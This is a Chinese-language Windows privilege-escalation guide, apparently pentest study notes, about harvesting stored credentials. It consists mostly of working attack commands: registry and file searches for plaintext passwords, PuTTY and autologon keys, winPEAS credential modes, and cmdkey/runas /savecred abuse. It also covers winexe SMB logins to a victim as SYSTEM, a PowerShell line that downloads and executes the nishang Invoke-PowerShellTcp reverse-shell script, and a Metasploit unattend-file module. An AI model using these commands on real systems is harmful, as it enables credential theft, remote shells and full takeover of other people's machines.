儲存與註冊表中的明文密碼
step1. 搜尋註冊表內是否有 password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
step2. 直接透過 winpeas 尋找
透過 winpeas winpeas.exe quiet filesinfouserinfo
可以在結果中找到 Looking for Autorun credentials
發現可利用的 Autorun credentials
與 Putty session
其中還有帳號密碼。
可透過註冊表驗證reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
如果該帳號密碼是管理者權限(admin 或 administrator)可透過這些帳號密碼進行提升權限,如登入 SMB 服務。
使用攻擊機的 winexe 指令可以在 Linux 中執行 Windows 指令,並透過 SMB 進行登入:winexe -U '帳號%密碼' //<受害主機IP> cmd.exe
或透過參數 --system 獲得系統的權限:winexe -U '帳號%密碼' --system //<受害主機IP> cmd.exe
儲存於 powershell 中的密碼
step1. 搜尋註冊表內是否有 password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
step2. 執行腳本自動搜尋
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
Start-Process -FilePath "powershell" -argumentlist "iex(new-object net.webclient).downloadString('腳本路徑/Invoke-PowerShellTcp.ps1')" -Credential $cred
step1. 直接透過 winpeas 尋找
透過 winpeas winpeas.exe quiet cmd windowscreds
可以在結果中找到 Checking Credential manage()
發現可利用的 Currently stored credentials
帳號密碼。
step2. 透過 cmdkey 列出處存的使用者帳號與密碼cmdkey /list
Windows Server 適用版本(Windows Server 2022、Windows Server 2019、Windows Server 2016、Windows Server 2012 R2、Windows Server 2012) 可使用 cmdkey 指令。
指令 cmdkey 可以建立、列出和刪除儲存的使用者名稱和密碼或認證。
參數 | 說明 |
---|---|
/list |
列出所有儲存的帳號密碼 |
/add:<target> |
新增到指定目標 |
/generic:<target> |
加入通用的帳號密碼到目標 |
/smartcard |
是否要從智慧卡找到密碼 |
/user:<username> |
要儲存的帳號 |
/pass:<password> |
要儲存的密碼 |
step3. 執行 runas 執行 revershellrunas /savecred /user:admin <要執行的程式路徑>
指令 runas 允許使用者以與使用者當前登錄提供的權限於不同的權限運行特定工具和程式。
參數 | 說明 |
---|---|
/savecred | 使用儲存過的密碼 |
/user:帳號 | 指定程式執行的使用者名稱 |
/profile | 載入使用者資料,為預設值 |
/no profile | 不加載使用者資料,可以加速加載資料 |
/env | 使用目前網路環境非使用者本地環境 |
/netonly | 指定的使用者資訊僅用於遠端存取 |
/smartcard | 是否要從智慧卡找到密碼 |
/showtrustlevels | 列出/trustlevel選項,查看可用的級別 |
/trustlevel | 指定程式執行的授權級別 |
/? | 顯示幫助清單 |
帳號格式:user@domain 或 Domain\User
step1. 找密碼
dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt
step2. 透過 winpeas 尋找
透過 winpeas winpeas.exe quiet cmd searchfast filesinfo
可以在結果中找到 Searching known files that can contain creds
發現可利用的帳號密碼。
step3. 確認設定檔內容type <檔案路徑>
step4. 或是使用 metasploit 模組meterpreter > run post/windows/gather/enum_unattend
該模組會去搜尋以下的路徑:
可參考原始碼
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep\Unattend.xml
C:\Windows\system32\sysprep\Panther\Unattend.xml